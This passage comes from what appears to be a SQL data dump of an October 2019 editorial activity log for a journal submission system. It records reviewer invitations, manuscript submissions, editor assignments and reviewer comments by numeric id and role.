Reviewer',2674,'Publisher',84),(17622,'2019-10-07 13:51:52','Publisher has Invited Reviewer',2617,'Publisher',274),(17623,'2019-10-07 14:05:33','Publisher has Invited Reviewer',2645,'Publisher',85),(17624,'2019-10-07 14:05:35','Publisher has Invited Reviewer',2645,'Publisher',85),(17625,'2019-10-07 14:06:48','Publisher has Invited Reviewer',1394,'Publisher',85),(17626,'2019-10-07 14:06:50','Publisher has Invited Reviewer',1394,'Publisher',85),(17627,'2019-10-07 14:33:32','Manuscript has been Revised',2277,'Author',2824),(17677,'2019-10-08 18:23:08','Manuscript Submitted by Author using Submission form',2693,'Author',3479),(17678,'2019-10-08 21:33:11','Manuscript Submitted by Author using Submission form',2694,'Author',3480),(17679,'2019-10-08 21:37:34','Reviewer has submitted comments',1457,'Reviewer',8782),(17680,'2019-10-09 10:20:00','Publisher has been Assigned Editor',2694,'Publisher',274),(17689,'2019-10-09 11:53:22','Publisher has Invited Reviewer',2686,'Publisher',248),(17690,'2019-10-09 11:53:23','Publisher has Invited Reviewer',2686,'Publisher',248),(17691,'2019-10-09 11:53:24','Publisher has Invited Reviewer',2686,'Publisher',248),(17692,'2019-10-09 11:53:25','Publisher has Invited Reviewer',2686,'Publisher',248),(17693,'2019-10-09 11:53:26','Publisher has Invited Reviewer',2686,'Publisher',248),(17694,'2019-10-09 11:53:26','Publisher has Invited Reviewer',2686,'Publisher',248),(17695,'2019-10-09 11:53:27','Publisher has Invited Reviewer',2686,'Publisher',248),(17696,'2019-10-09 11:53:28','Publisher has Invited Reviewer',2686,'Publisher',248),(17697,'2019-10-09 11:53:29','Publisher has Invited Reviewer',2686,'Publisher',248),(17698,'2019-10-09 11:53:29','Publisher has Invited Reviewer',2686,'Publisher',248),(17699,'2019-10-09 11:53:30','Publisher has Invited Reviewer',2686,'Publisher',248),(17700,'2019-10-09 11:53:31','Publisher has Invited Reviewer',2686,'Publisher',248),(17701,'2019-10-09 11:53:31','Publisher has Invited Reviewer',2686,'Publisher',248),(17702,'2019-10-09 11:53:32','Publisher has Invited Reviewer',2686,'Publisher',248),(17703,'2019-10-09 11:53:32','Publisher has Invited Reviewer',2686,'Publisher',248),(17704,'2019-10-09 11:53:33','Publisher has Invited Reviewer',2686,'Publisher',248),(17705,'2019-10-09 11:54:03','Publisher has Invited Reviewer',2686,'Publisher',248),(17706,'2019-10-09 11:54:03','Publisher has Invited Reviewer',2686,'Publisher',248),(17707,'2019-10-09 11:54:04','Publisher has Invited Reviewer',2686,'Publisher',248),(17708,'2019-10-09 11:54:05','Publisher has Invited Reviewer',2686,'Publisher',248),(17709,'2019-10-09 11:54:05','Publisher has Invited Reviewer',2686,'Publisher',248),(17736,'2019-10-09 13:18:55','Publisher has Invited Reviewer',2661,'Publisher',248),(17737,'2019-10-09 13:18:56','Publisher has Invited Reviewer',2661,'Publisher',248),(17738,'2019-10-09 13:18:56','Publisher has Invited Reviewer',2661,'Publisher',248),(17739,'2019-10-09 13:18:57','Publisher has Invited Reviewer',2661,'Publisher',248),(17740,'2019-10-09 13:18:58','Publisher has Invited Reviewer',2661,'Publisher',248),(17741,'2019-10-09 13:18:58','Publisher has Invited Reviewer',2661,'Publisher',248),(17742,'2019-10-09 13:18:59','Publisher has Invited Reviewer',2661,'Publisher',248),(17743,'2019-10-09 13:19:00','Publisher has Invited Reviewer',2661,'Publisher',248),(17744,'2019-10-09 13:19:01','Publisher has Invited Reviewer',2661,'Publisher',248),(17745,'2019-10-09 13:19:01','Publisher has Invited Reviewer',2661,'Publisher',248),(17746,'2019-10-09 13:19:02','Publisher has Invited Reviewer',2661,'Publisher',248),(17747,'2019-10-09 13:19:02','Publisher has Invited Reviewer',2661,'Publisher',248),(17748,'2019-10-09 13:19:03','Publisher has Invited Reviewer',2661,'Publisher',248),(17749,'2019-10-09 13:19:04','Publisher has Invited Reviewer',2661,'Publisher',248),(17750,'2019-10-09 13:19:04','Publisher has Invited Reviewer',2661,'Publisher',248),(17751,'2019-10-09 13:19:05','Publisher has Invited Reviewer',2661,'Publisher',248),(17752,'2019-10-09 13:19:06','Publisher has Invited Reviewer',2661,'Publisher',248),(17753,'2019-10-09 13:19:06','Publisher has Invited Reviewer',2661,'Publisher',248),(17754,'2019-10-09 13:19:07','Publisher has Invited Reviewer',2661,'Publisher',248),(17755,'2019-10-09 13:19:08','Publisher has Invited Reviewer',2661,'Publisher',248),(17774,'2019-10-09 14:12:23','Manuscript Submitted by Publisher',2696,'Publisher',75),(17775,'2019-10-09 14:15:42','Publisher has been Assigned Editor',2696,'Publisher',75),(17781,'2019-10-09 14:43:36','Manuscript Submitted by Author using Submission form',2697,'Author',3484),(17800,'2019-10-09 18:15:14','Publisher has Invited Reviewer',2696,'Publisher',75),(17801,'2019-10-09 18:15:15','Publisher has Invited Reviewer',2696,'Publisher',75),(17802,'2019-10-09 18:15:16','Publisher has Invited Reviewer',2696,'Publisher',75),(17803,'2019-10-09 18:15:17','Publisher has Invited Reviewer',2696,'Publisher',75),(17804,'2019-10-09 18:15:18','Publisher has Invited Reviewer',2696,'Publisher',75),(17805,'2019-10-09 18:15:19','Publisher has Invited Reviewer',2696,'Publisher',75),(17806,'2019-10-09 18:15:49','Publisher has Invited Reviewer',2696,'Publisher',75),(17807,'2019-10-09 18:15:50','Publisher has Invited Reviewer',2696,'Publisher',75),(17838,'2019-10-10 10:07:30','Publisher has Invited Reviewer',2645,'Publisher',85),(17839,'2019-10-10 10:07:31','Publisher has Invited Reviewer',2645,'Publisher',85),(17840,'2019-10-10 10:07:33','Publisher has Invited Reviewer',2645,'Publisher',85),(17841,'2019-10-10 10:07:34','Publisher has Invited Reviewer',2645,'Publisher',85),(17842,'2019-10-10 10:07:35','Publisher has Invited Reviewer',2645,'Publisher',85),(17843,'2019-10-10 10:07:36','Publisher has Invited Reviewer',2645,'Publisher',85),(17844,'2019-10-10 10:07:37','Publisher has Invited Reviewer',2645,'Publisher',85),(17845,'2019-10-10 10:07:38','Publisher has Invited Reviewer',2645,'Publisher',85),(17846,'2019-10-10 10:07:38','Publisher has Invited Reviewer',2645,'Publisher',85),(17847,'2019-10-10 10:07:39','Publisher has Invited Reviewer',2645,'Publisher',85),(17848,'2019-10-10 10:08:07','Publisher has Invited Reviewer',2645,'Publisher',85),(17873,'2019-10-10 13:56:25','Publisher has Invited Reviewer',2686,'Publisher',248),(17874,'2019-10-10 13:56:26','Publisher has Invited Reviewer',2686,'Publisher',248),(17875,'2019-10-10 13:56:27','Publisher has Invited Reviewer',2686,'Publisher',248),(17876,'2019-10-10 13:56:27','Publisher has Invited Reviewer',2686,'Publisher',248),(17877,'2019-10-10 13:56:28','Publisher has Invited Reviewer',2686,'Publisher',248),(17878,'2019-10-10 14:00:11','Publisher has Invited Reviewer',2661,'Publisher',248),(17879,'2019-10-10 14:00:12','Publisher has Invited Reviewer',2661,'Publisher',248),(17880,'2019-10-10 14:00:12','Publisher has Invited Reviewer',2661,'Publisher',248),(17881,'2019-10-10 14:00:13','Publisher has Invited Reviewer',2661,'Publisher',248),(17882,'2019-10-10 14:00:13','Publisher has Invited Reviewer',2661,'Publisher',248),(17883,'2019-10-10 14:00:14','Publisher has Invited Reviewer',2661,'Publisher',248),(17884,'2019-10-10 14:14:32','Reviewer has submitted comments',2661,'Reviewer',9035),(17885,'2019-10-10 15:40:18','Manuscript Submitted by Author',2707,'Author',3500),(17886,'2019-10-10 15:46:03','Manuscript Submitted by Author using Submission form',2708,'Author',3501),(17892,'2019-10-10 17:42:18','Publisher has Invited Reviewer',2591,'Publisher',376),(17893,'2019-10-10 17:42:18','Publisher has Invited Reviewer',2591,'Publisher',376),(17894,'2019-10-10 17:42:19','Publisher has Invited Reviewer',2591,'Publisher',376),(17895,'2019-10-10 17:42:26','Publisher has Invited Reviewer',2591,'Publisher',376),(17896,'2019-10-10 17:42:27','Publisher has Invited Reviewer',2591,'Publisher',376),(17915,'2019-10-11 09:18:08','Publisher has been Assigned Editor',2623,'Publisher',376),(17918,'2019-10-11 09:34:15','Publisher has Invited Reviewer',2623,'Publisher',376),(17919,'2019-10-11 09:34:17','Publisher has Invited Reviewer',2623,'Publisher',376),(17920,'2019-10-11 09:34:18','Publisher has Invited Reviewer',2623,'Publisher',376),(17921,'2019-10-11 09:34:19','Publisher has Invited Reviewer',2623,'Publisher',376),(17922,'2019-10-11 09:34:20','Publisher has Invited Reviewer',2623,'Publisher',376),(17935,'2019-10-11 09:55:28','Publisher has been Assigned Editor',2611,'Publisher',376),(17942,'2019-10-11 10:27:49','Editor has Accepted to review Manuscript',2661,'Editor',359),(17943,'2019-10-11 10:28:49','Editor has been Revise (Notify Author) article',2661,'Editor',359),(17944,'2019-10-11 10:29:31','Publisher : Notified Author',2661,'Publisher',248),(17959,'2019-10-11 11:30:59','Publisher has Invited Reviewer',2611,'Publisher',376),(17960,'2019-10-11 11:31:00','Publisher has Invited Reviewer',2611,'Publisher',376),(17961,'2019-10-11 11:31:01','Publisher has Invited Reviewer',2611,'Publisher',376),(17962,'2019-10-11 11:31:02','Publisher has Invited Reviewer',2611,'Publisher',376),(17963,'2019-10-11 11:31:03','Publisher has Invited Reviewer',2611,'Publisher',376),(17964,'2019-10-11 11:31:04','Publisher has Invited Reviewer',2611,'Publisher',376),(17965,'2019-10-11 11:32:02','Publisher has Invited Reviewer',2602,'Publisher',376),(17966,'2019-10-11 11:32:03','Publisher has Invited Reviewer',2602,'Publisher',376),(17967,'2019-10-11 11:32:04','Publisher has Invited Reviewer',2602,'Publisher',376),(17968,'2019-10-11 11:32:05','Publisher has Invited Reviewer',2602,'Publisher',376),(17969,'2019-10-11 11:32:06','Publisher has Invited Reviewer',2602,'Publisher',376),(17980,'2019-10-11 14:31:35','Publisher has been Assigned Editor',2708,'Publisher',376),(17981,'2019-10-11 14:32:05','Publisher has been Assigned Editor',2697,'Publisher',376),(17982,'2019-10-11 14:32:24','Publisher has been Assigned Editor',2633,'Publisher',376),(17985,'2019-10-11 16:51:58','Publisher has Invited Reviewer',2708,'Publisher',376),(17986,'2019-10-11 16:51:59','Publisher has Invited Reviewer',2708,'Publisher',376),(17987,'2019-10-11 16:52:00','Publisher has Invited Reviewer',2708,'Publisher',376),(17988,'2019-10-11 16:52:02','Publisher has Invited Reviewer',2708,'Publisher',376),(18008,'2019-10-12 09:41:55','Publisher has Invited Reviewer',630,'Publisher',75),(18009,'2019-10-12 09:41:56','Publisher has Invited Reviewer',630,'Publisher',75),(18010,'2019-10-12 09:41:57','Publisher has Invited Reviewer',630,'Publisher',75),(18011,'2019-10-12 09:41:58','Publisher has Invited Reviewer',630,'Publisher',75),(18012,'2019-10-12 09:48:36','Manuscript Submitted by Author using Submission form',2714,'Author',3509),(18013,'2019-10-12 09:52:53','Publisher has Invited Reviewer',2669,'Publisher',645),(18014,'2019-10-12 09:52:54','Publisher has Invited Reviewer',2669,'Publisher',645),(18015,'2019-10-12 09:56:45','Publisher has Invited Reviewer',2669,'Publisher',645),(18020,'2019-10-12 11:39:50','Publisher has been Assigned Editor',2681,'Publisher',48),(18021,'2019-10-12 11:40:59','Publisher has Invited Reviewer',2681,'Publisher',48),(18022,'2019-10-12 11:41:00','Publisher has Invited Reviewer',2681,'Publisher',48),(18023,'2019-10-12 11:41:01','Publisher has Invited Reviewer',2681,'Publisher',48),(18024,'2019-10-12 11:41:01','Publisher has Invited Reviewer',2681,'Publisher',48),(18025,'2019-10-12 11:43:14','Publisher has Invited Reviewer',2681,'Publisher',48),(18027,'2019-10-12 15:38:27','Reviewer has submitted comments',2681,'Reviewer',9182),(18032,'2019-10-13 02:14:15','Reviewer has updated comments',2696,'Reviewer',9013),(18035,'2019-10-13 12:09:28','Manuscript Submitted by Author using Submission form',2719,'Author',3514),(18039,'2019-10-13 22:23:04','Manuscript Submitted by Author using Submission form',2723,'Author',3520),(18046,'2019-10-14 09:50:22','Publisher : Notified Editor',2696,'Publisher',75),(18047,'2019-10-14 10:15:45','Publisher has Invited Reviewer',2669,'Publisher',645),(18068,'2019-10-14 11:43:13','Publisher has Invited Reviewer',2464,'Publisher',48),(18069,'2019-10-14 11:43:14','Publisher has Invited Reviewer',2464,'Publisher',48),(18070,'2019-10-14 11:43:15','Publisher has Invited Reviewer',2464,'Publisher',48),(18071,'2019-10-14 11:43:16','Publisher has Invited Reviewer',2464,'Publisher',48),(18072,'2019-10-14 11:43:17','Publisher has Invited Reviewer',2464,'Publisher',48),(18073,'2019-10-14 11:43:59','Publisher has Invited Reviewer',2416,'Publisher',48),(18074,'2019-10-14 11:44:00','Publisher has Invited Reviewer',2416,'Publisher',48),(18075,'2019-10-14 11:44:01','Publisher has Invited Reviewer',2416,'Publisher',48),(18076,'2019-10-14 11:44:02','Publisher has Invited Reviewer',2416,'Publisher',48),(18077,'2019-10-14 11:44:03','Publisher has Invited Reviewer',2416,'Publisher',48),(18078,'2019-10-14 11:44:29','Publisher has Invited Reviewer',2275,'Publisher',48),(18079,'2019-10-14 11:44:29','Publisher has Invited Reviewer',2275,'Publisher',48),(18080,'2019-10-14 11:44:30','Publisher has Invited Reviewer',2275,'Publisher',48),(18081,'2019-10-14 11:44:31','Publisher has Invited Reviewer',2275,'Publisher',48),(18082,'2019-10-14 11:44:32','Publisher has Invited Reviewer',2275,'Publisher',48),(18083,'2019-10-14 12:00:23','Publisher has Invited Reviewer',2694,'Publisher',274),(18084,'2019-10-14 12:09:54','Manuscript Submitted by Publisher',2727,'Publisher',84),(18085,'2019-10-14 12:10:07','Publisher has been Assigned Editor',2727,'Publisher',84),(18086,'2019-10-14 13:48:40','Publisher has been Assigned Editor',2719,'Publisher',75),(18108,'2019-10-14 17:12:11','Publisher has Invited Reviewer',2474,'Publisher',48),(18135,'2019-10-14 22:34:11','Reviewer has submitted comments',2686,'Reviewer',9025),(18177,'2019-10-15 10:36:11','Editor has Accepted to review Manuscript',2696,'Editor',161),(18178,'2019-10-15 10:37:28','Editor has Accepted to review Manuscript',2635,'Editor',161),(18179,'2019-10-15 10:37:31','Editor has Accepted to review Manuscript',1011,'Editor',161),(18187,'2019-10-15 11:46:33','Publisher has been Assigned Editor',2673,'Publisher',48),(18188,'2019-10-15 11:48:09','Publisher has Invited Reviewer',2673,'Publisher',48),(18189,'2019-10-15 11:48:23','Publisher has Invited Reviewer',2673,'Publisher',48),(18190,'2019-10-15 11:48:35','Publisher has Invited Reviewer',2673,'Publisher',48),(18191,'2019-10-15 11:48:36','Publisher has Invited Reviewer',2673,'Publisher',48),(18192,'2019-10-15 11:50:17','Publisher has Invited Reviewer',2673,'Publisher',48),(18194,'2019-10-15 14:25:19','Reviewer has submitted comments',2623,'Reviewer',7287),(18196,'2019-10-15 15:50:09','Reviewer has submitted comments',2611,'Reviewer',7287),(18197,'2019-10-15 17:03:14','Manuscript Submitted by Author using Submission form',2740,'Author',3544),(18198,'2019-10-15 17:12:56','Publisher has been Assigned Editor',2707,'Publisher',48),(18200,'2019-10-15 17:52:35','Publisher has Invited Reviewer',2719,'Publisher',75),(18201,'2019-10-15 17:53:04','Publisher has Invited Reviewer',2719,'Publisher',75),(18202,'2019-10-15 17:53:04','Publisher has Invited Reviewer',2719,'Publisher',75),(18203,'2019-10-15 17:53:05','Publisher has Invited Reviewer',2719,'Publisher',75),(18204,'2019-10-15 17:53:06','Publisher has Invited Reviewer',2719,'Publisher',75),(18205,'2019-10-15 17:53:06','Publisher has Invited Reviewer',2719,'Publisher',75),(18206,'2019-10-15 17:53:07','Publisher has Invited Reviewer',2719,'Publisher',75),(18207,'2019-10-15 17:53:07','Publisher has Invited Reviewer',2719,'Publisher',75),(18208,'2019-10-15 17:53:08','Publisher has Invited Reviewer',2719,'Publisher',75),(18209,'2019-10-15 17:53:09','Publisher has Invited Reviewer',2719,'Publisher',75),(18210,'2019-10-15 17:53:09','Publisher has Invited Reviewer',2719,'Publisher',75),(18212,'2019-10-15 18:15:24','Publisher : Notified Author',602,'Publisher',75),(18220,'2019-10-15 19:59:27','Reviewer has submitted comments',2474,'Reviewer',8794),(18221,'2019-10-15 19:59:52','Reviewer has submitted comments',2474,'Reviewer',8794),(18222,'2019-10-15 19:59:56','Reviewer has updated comments',2474,'Reviewer',8794),(18223,'2019-10-15 20:00:05','Reviewer has updated comments',2474,'Reviewer',8794),(18224,'2019-10-15 20:00:27','Reviewer has updated comments',2474,'Reviewer',8794),(18225,'2019-10-15 20:00:29','Reviewer has updated comments',2474,'Reviewer',8794),(18231,'2019-10-16 10:40:13','Publisher has been Assigned Editor',2723,'Publisher',84),(18232,'2019-10-16 11:18:58','Publisher : Notified Editor',2681,'Publisher',48),(18233,'2019-10-16 11:26:20','Publisher has Invited Reviewer',2727,'Publisher',84),(18234,'2019-10-16 11:26:21','Publisher has Invited Reviewer',2727,'Publisher',84),(18235,'2019-10-16 11:26:22','Publisher has Invited Reviewer',2727,'Publisher',84),(18236,'2019-10-16 11:26:23','Publisher has Invited Reviewer',2727,'Publisher',84),(18237,'2019-10-16 11:26:24','Publisher has Invited Reviewer',2727,'Publisher',84),(18238,'2019-10-16 11:26:25','Publisher has Invited Reviewer',2727,'Publisher',84),(18239,'2019-10-16 11:26:26','Publisher has Invited Reviewer',2727,'Publisher',84),(18240,'2019-10-16 11:26:26','Publisher has Invited Reviewer',2727,'Publisher',84),(18242,'2019-10-16 11:42:46','Publisher has Invited Reviewer',2723,'Publisher',84),(18243,'2019-10-16 11:42:47','Publisher has Invited Reviewer',2723,'Publisher',84),(18244,'2019-10-16 11:42:48','Publisher has Invited Reviewer',2723,'Publisher',84),(18245,'2019-10-16 11:42:49','Publisher has Invited Reviewer',2723,'Publisher',84),(18246,'2019-10-16 11:42:50','Publisher has Invited Reviewer',2723,'Publisher',84),(18247,'2019-10-16 11:42:51','Publisher has Invited Reviewer',2723,'Publisher',84),(18248,'2019-10-16 11:42:52','Publisher has Invited Reviewer',2723,'Publisher',84),(18249,'2019-10-16 11:42:53','Publisher has Invited Reviewer',2723,'Publisher',84),(18250,'2019-10-16 11:42:54','Publisher has Invited Reviewer',2723,'Publisher',84),(18251,'2019-10-16 11:42:54','Publisher has Invited Reviewer',2723,'Publisher',84),(18252,'2019-10-16 11:42:55','Publisher has Invited Reviewer',2723,'Publisher',84),(18253,'2019-10-16 11:42:56','Publisher has Invited Reviewer',2723,'Publisher',84),(18254,'2019-10-16 11:43:41','Publisher has Invited Reviewer',2674,'Publisher',84),(18255,'2019-10-16 11:43:42','Publisher has Invited Reviewer',2674,'Publisher',84),(18256,'2019-10-16 11:43:43','Publisher has Invited Reviewer',2674,'Publisher',84),(18257,'2019-10-16 11:43:44','Publisher has Invited Reviewer',2674,'Publisher',84),(18258,'2019-10-16 11:43:44','Publisher has Invited Reviewer',2674,'Publisher',84),(18259,'2019-10-16 11:43:46','Publisher has Invited Reviewer',2674,'Publisher',84),(18260,'2019-10-16 11:43:47','Publisher has Invited Reviewer',2674,'Publisher',84),(18261,'2019-10-16 11:43:47','Publisher has Invited Reviewer',2674,'Publisher',84),(18262,'2019-10-16 11:44:51','Publisher has Invited Reviewer',557,'Publisher',84),(18263,'2019-10-16 11:44:52','Publisher has Invited Reviewer',557,'Publisher',84),(18264,'2019-10-16 11:44:53','Publisher has Invited Reviewer',557,'Publisher',84),(18265,'2019-10-16 11:44:54','Publisher has Invited Reviewer',557,'Publisher',84),(18266,'2019-10-16 11:44:55','Publisher has Invited Reviewer',557,'Publisher',84),(18267,'2019-10-16 11:45:52','Publisher has Invited Reviewer',557,'Publisher',84),(18268,'2019-10-16 11:45:53','Publisher has Invited Reviewer',557,'Publisher',84),(18269,'2019-10-16 11:45:54','Publisher has Invited Reviewer',557,'Publisher',84),(18273,'2019-10-16 12:41:47','Manuscript Submitted by Author using Submission form',2744,'Author',3547),(18329,'2019-10-16 21:53:46','Manuscript Submitted by Author',2754,'Author',3416),(18330,'2019-10-16 23:34:57','Manuscript Submitted by Author using Submission form',2755,'Author',3564),(18331,'2019-10-17 02:33:01','Editor has Accepted to review Manuscript',2719,'Editor',160),(18332,'2019-10-17 02:34:55','Editor has Invited Reviewer',2719,'Editor',160),(18333,'2019-10-17 02:34:56','Editor has Invited Reviewer',2719,'Editor',160),(18334,'2019-10-17 02:34:57','Editor has Invited Reviewer',2719,'Editor',160),(18335,'2019-10-17 02:34:58','Editor has Invited Reviewer',2719,'Editor',160),(18336,'2019-10-17 02:34:59','Editor has Invited Reviewer',2719,'Editor',160),(18337,'2019-10-17 04:26:50','Manuscript Submitted by Author',2756,'Author',3565),(18338,'2019-10-17 07:40:51','Reviewer has submitted comments',2623,'Reviewer',9133),(18339,'2019-10-17 07:42:38','Reviewer has updated comments',2623,'Reviewer',9133),(18340,'2019-10-17 07:58:43','Reviewer has been sent email to Publisher',2623,'Reviewer',9133),(18341,'2019-10-17 08:13:53','Reviewer has updated comments',2623,'Reviewer',9133),(18342,'2019-10-17 08:16:19','Reviewer has updated comments',2623,'Reviewer',9133),(18343,'2019-10-17 08:16:28','Reviewer has updated comments',2623,'Reviewer',9133),(18344,'2019-10-17 08:27:11','Reviewer has submitted comments',2611,'Reviewer',9133),(18345,'2019-10-17 08:27:35','Reviewer has updated comments',2611,'Reviewer',9133),(18346,'2019-10-17 08:28:44','Reviewer has been sent email to Publisher',2611,'Reviewer',9133),(18347,'2019-10-17 09:17:42','Publisher has been Assigned Editor',2667,'Publisher',319),(18348,'2019-10-17 09:18:14','Publisher has been Assigned Editor',2693,'Publisher',319),(18367,'2019-10-17 14:20:08','Publisher has been Assigned Editor',2754,'Publisher',48),(18368,'2019-10-17 14:20:45','Publisher has Invited Reviewer',2754,'Publisher',48),(18369,'2019-10-17 14:20:47','Publisher has Invited Reviewer',2754,'Publisher',48),(18370,'2019-10-17 14:21:03','Publisher has Invited Reviewer',2754,'Publisher',48),(18371,'2019-10-17 14:21:05','Publisher has Invited Reviewer',2754,'Publisher',48),(18372,'2019-10-17 14:21:36','Publisher has Invited Reviewer',2754,'Publisher',48),(18441,'2019-10-18 10:18:46','Publisher has been Assigned Editor',2756,'Publisher',85),(18443,'2019-10-18 10:22:13','Manuscript Submitted by Publisher',2759,'Publisher',85),(18444,'2019-10-18 10:22:25','Publisher has been Assigned Editor',2759,'Publisher',85),(18471,'2019-10-18 13:54:38','Publisher has Invited Reviewer',2693,'Publisher',319),(18472,'2019-10-18 13:54:38','Publisher has Invited Reviewer',2693,'Publisher',319),(18473,'2019-10-18 13:54:39','Publisher has Invited Reviewer',2693,'Publisher',319),(18474,'2019-10-18 13:54:40','Publisher has Invited Reviewer',2693,'Publisher',319),(18475,'2019-10-18 13:54:40','Publisher has Invited Reviewer',2693,'Publisher',319),(18476,'2019-10-18 13:54:41','Publisher has Invited Reviewer',2693,'Publisher',319),(18477,'2019-10-18 13:54:42','Publisher has Invited Reviewer',2693,'Publisher',319),(18478,'2019-10-18 13:56:54','Publisher has Invited Reviewer',2667,'Publisher',319),(18479,'2019-10-18 13:56:54','Publisher has Invited Reviewer',2667,'Publisher',319),(18480,'2019-10-18 13:56:55','Publisher has Invited Reviewer',2667,'Publisher',319),(18481,'2019-10-18 13:56:56','Publisher has Invited Reviewer',2667,'Publisher',319),(18482,'2019-10-18 13:56:57','Publisher has Invited Reviewer',2667,'Publisher',319),(18483,'2019-10-18 13:56:58','Publisher has Invited Reviewer',2667,'Publisher',319),(18484,'2019-10-18 13:56:59','Publisher has Invited Reviewer',2667,'Publisher',319),(18513,'2019-10-19 10:09:33','Publisher has Invited Reviewer',2759,'Publisher',85),(18514,'2019-10-19 10:09:34','Publisher has Invited Reviewer',2759,'Publisher',85),(18515,'2019-10-19 10:09:51','Publisher has Invited Reviewer',2759,'Publisher',85),(18516,'2019-10-19 10:09:52','Publisher has Invited Reviewer',2759,'Publisher',85),(18517,'2019-10-19 10:09:53','Publisher has Invited Reviewer',2759,'Publisher',85),(18518,'2019-10-19 10:09:54','Publisher has Invited Reviewer',2759,'Publisher',85),(18519,'2019-10-19 10:09:56','Publisher has Invited Reviewer',2759,'Publisher',85),(18520,'2019-10-19 10:09:57','Publisher has Invited Reviewer',2759,'Publisher',85),(18521,'2019-10-19 10:11:18','Publisher has Invited Reviewer',2756,'Publisher',85),(18522,'2019-10-19 10:11:19','Publisher has Invited Reviewer',2756,'Publisher',85),(18523,'2019-10-19 10:11:20','Publisher has Invited Reviewer',2756,'Publisher',85),(18524,'2019-10-19 10:11:21','Publisher has Invited Reviewer',2756,'Publisher',85),(18525,'2019-10-19 10:11:22','Publisher has Invited Reviewer',2756,'Publisher',85),(18526,'2019-10-19 10:11:23','Publisher has Invited Reviewer',2756,'Publisher',85),(18527,'2019-10-19 10:13:03','Publisher has Invited Reviewer',2645,'Publisher',85),(18528,'2019-10-19 10:13:04','Publisher has Invited Reviewer',2645,'Publisher',85),(18529,'2019-10-19 10:13:05','Publisher has Invited Reviewer',2645,'Publisher',85),(18530,'2019-10-19 10:13:06','Publisher has Invited Reviewer',2645,'Publisher',85),(18531,'2019-10-19 10:13:08','Publisher has Invited Reviewer',2645,'Publisher',85),(18532,'2019-10-19 10:13:09','Publisher has Invited Reviewer',2645,'Publisher',85),(18533,'2019-10-19 10:13:11','Publisher has Invited Reviewer',2645,'Publisher',85),(18534,'2019-10-19 10:13:12','Publisher has Invited Reviewer',2645,'Publisher',85),(18535,'2019-10-19 10:13:24','Manuscript Updated',2697,'Publisher',376),(18543,'2019-10-19 16:31:11','Manuscript Submitted by Author',2764,'Author',3575),(18544,'2019-10-19 16:38:09','Manuscript Submitted by Author',2765,'Author',3575),(18550,'2019-10-20 12:12:29','Manuscript Submitted by Author using Submission form',2768,'Author',3582),(18551,'2019-10-20 12:37:49','Manuscript Submitted by Author using Submission form',2769,'Author',3583),(18552,'2019-10-20 20:37:03','Reviewer has submitted comments',2754,'Reviewer',5467),(18556,'2019-10-21 10:36:05','Publisher has been Withdrawn  article',2051,'Publisher',376),(18557,'2019-10-21 11:32:17','Publisher has been Assigned Editor',2755,'Publisher',376),(18558,'2019-10-21 11:37:32','Manuscript Updated',2755,'Publisher',376),(18567,'2019-10-21 19:47:53','Manuscript Submitted by Author using Submission form',2777,'Author',3591),(18569,'2019-10-21 23:26:27','Author sent Email',2591,'Author',3331),(18578,'2019-10-22 10:36:09','Publisher has Invited Reviewer',2759,'Publisher',85),(18579,'2019-10-22 10:36:10','Publisher has Invited Reviewer',2759,'Publisher',85),(18580,'2019-10-22 10:36:11','Publisher has Invited Reviewer',2759,'Publisher',85),(18620,'2019-10-22 12:12:51','Reviewer has updated comments',2277,'Reviewer',7418),(18631,'2019-10-22 13:49:01','Reviewer has submitted comments',2686,'Reviewer',9034),(18632,'2019-10-22 13:49:35','Publisher : Notified Editor',2686,'Publisher',248),(18633,'2019-10-22 13:50:44','Editor has Accepted to review Manuscript',2686,'Editor',359),(18634,'2019-10-22 13:51:12','Editor has been Revise (Notify Author) article',2686,'Editor',359),(18635,'2019-10-22 14:31:59','Publisher : Notified Author',2686,'Publisher',248),(18637,'2019-10-22 14:59:18','Reviewer has submitted comments',2577,'Reviewer',7418),(18638,'2019-10-22 15:03:38','Reviewer has submitted comments',2577,'Reviewer',7418),(18640,'2019-10-22 15:24:54','Reviewer has submitted comments',2693,'Reviewer',7418),(18641,'2019-10-22 16:29:21','Reviewer has updated comments',2667,'Reviewer',7418),(18657,'2019-10-22 17:14:20','Manuscript Submitted by Author using Submission form',2785,'Author',3601),(18676,'2019-10-23 10:38:18','Publisher has Invited Reviewer',630,'Publisher',75),(18677,'2019-10-23 10:38:31','Publisher has Invited Reviewer',630,'Publisher',75),(18678,'2019-10-23 10:38:32','Publisher has Invited Reviewer',630,'Publisher',75),(18679,'2019-10-23 10:38:45','Publisher has Invited Reviewer',630,'Publisher',75),(18680,'2019-10-23 10:38:46','Publisher has Invited Reviewer',630,'Publisher',75),(18681,'2019-10-23 10:38:47','Publisher has Invited Reviewer',630,'Publisher',75),(18682,'2019-10-23 10:38:57','Publisher has Invited Reviewer',630,'Publisher',75),(18683,'2019-10-23 10:39:31','Publisher has Invited Reviewer',2719,'Publisher',75),(18684,'2019-10-23 10:39:32','Publisher has Invited Reviewer',2719,'Publisher',75),(18685,'2019-10-23 10:39:33','Publisher has Invited Reviewer',2719,'Publisher',75),(18686,'2019-10-23 10:39:34','Publisher has Invited Reviewer',2719,'Publisher',75),(18687,'2019-10-23 10:39:52','Publisher has Invited Reviewer',2719,'Publisher',75),(18688,'2019-10-23 10:39:53','Publisher has Invited Reviewer',2719,'Publisher',75),(18689,'2019-10-23 10:39:54','Publisher has Invited Reviewer',2719,'Publisher',75),(18690,'2019-10-23 10:39:55','Publisher has Invited Reviewer',2719,'Publisher',75),(18691,'2019-10-23 10:39:56','Publisher has Invited Reviewer',2719,'Publisher',75),(18692,'2019-10-23 10:39:57','Publisher has Invited Reviewer',2719,'Publisher',75),(18693,'2019-10-23 10:39:59','Publisher has Invited Reviewer',2719,'Publisher',75),(18694,'2019-10-23 10:40:19','Publisher has Invited Reviewer',2696,'Publisher',75),(18695,'2019-10-23 10:40:29','Publisher has Invited Reviewer',2696,'Publisher',75),(18696,'2019-10-23 10:40:30','Publisher has Invited Reviewer',2696,'Publisher',75),(18697,'2019-10-23 10:40:31','Publisher has Invited Reviewer',2696,'Publisher',75),(18698,'2019-10-23 10:40:42','Publisher has Invited Reviewer',2696,'Publisher',75),(18699,'2019-10-23 10:40:57','Publisher has Invited Reviewer',2635,'Publisher',75),(18700,'2019-10-23 10:40:58','Publisher has Invited Reviewer',2635,'Publisher',75),(18701,'2019-10-23 10:41:11','Publisher has Invited Reviewer',2635,'Publisher',75),(18702,'2019-10-23 10:41:12','Publisher has Invited Reviewer',2635,'Publisher',75),(18703,'2019-10-23 10:41:13','Publisher has Invited 